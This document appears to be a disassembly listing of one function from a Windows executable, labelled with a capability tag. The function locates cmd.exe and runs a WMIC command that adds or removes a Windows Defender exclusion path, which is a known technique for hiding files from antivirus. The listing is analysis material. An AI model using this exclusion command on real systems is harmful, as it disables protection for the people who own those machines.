Function at 0x404e7e
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
call fcn.00429070
mov edx, dword [esp + 0x18]
lea ecx, [esp]
call fcn.00413000
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428f00
pop edx
push eax
push 1
push dword [esp + 0xc]
call fcn.00426f00
call fcn.00429130
mov edx, 0x4b461e
pop ecx
push ecx
call fcn.004136a0
mov ecx, eax
call fcn.00413660
je 0x404efe
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428f00
pop edx
push eax
push dword [esp + 8]
call fcn.00426870
mov ebx, eax
dec ebx
push ebx
push dword [esp + 0xc]
call fcn.00426f80
lea eax, [esp + 4]
push eax
call fcn.00428f40
call fcn.0041a591
mov ebx, eax
cmp ebx, 0x64
jl 0x405108
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428f00
pop edx
push eax
push 0x3e8
call fcn.00426650
lea eax, [esp + 8]
push eax
call fcn.00428f40
push 0x3e8
mov eax, dword [esp + 8]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov edx, dword [esp + 4]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.System32
push edx
call fcn.00428fd0
lea eax, [esp + 0xc]
push eax
call fcn.00428f40
push edx
call fcn.00428f00
pop edx
push eax
mov edx, dword [esp + 8]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.Sysnativecmd.exe
push edx
call fcn.00428fd0
call fcn.00413632
add dword [esp], edx
call fcn.0041bce6
call fcn.00413650
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404fb9
jl 0x404fb5
cmp ebx, 0
ja 0x404fb9
xor eax, eax
jmp 0x404fbe
mov eax, 1
or eax, eax
je 0x404feb
mov edx, dword [esp + 4]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.Sysnative
push edx
call fcn.00428fd0
lea eax, [esp + 8]
push eax
call fcn.00428f40
jmp 0x405012
mov edx, dword [esp + 4]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.System32
push edx
call fcn.00428fd0
lea eax, [esp + 8]
push eax
call fcn.00428f40
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x405092
push edx
call fcn.00428f00
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.00428f00
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
push edx
call fcn.00428fd0
mov edx, dword [esp + 0x10]
push edx
call fcn.00428fd0
mov edx, 0x4b4276
push edx
call fcn.00428fd0
call fcn.00429130
mov edx, dword [esp + 0x14]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.cmd.exe
push edx
call fcn.00428fd0
call fcn.00413632
add dword [esp], edx
call fcn.00413632
add dword [esp + 4], edx
call fcn.00414557
call fcn.00413650
jmp 0x405108
push edx
call fcn.00428f00
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.00428f00
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
push edx
call fcn.00428fd0
mov edx, dword [esp + 0x10]
push edx
call fcn.00428fd0
mov edx, 0x4b4276
push edx
call fcn.00428fd0
call fcn.00429130
mov edx, dword [esp + 0x14]
push edx
call fcn.00428f00
pop edx
push eax
push edx
call fcn.00428fd0
mov edx, str.cmd.exe
push edx
call fcn.00428fd0
call fcn.00413632
add dword [esp], edx
call fcn.00413632
add dword [esp + 4], edx
call fcn.00414557
call fcn.00413650
xor eax, eax
push dword [esp + 8]
call fcn.00429100
push dword [esp + 4]
call fcn.00429100
push dword [esp]
call fcn.00429100
add esp, 0xc
pop edi
pop ebx
ret 8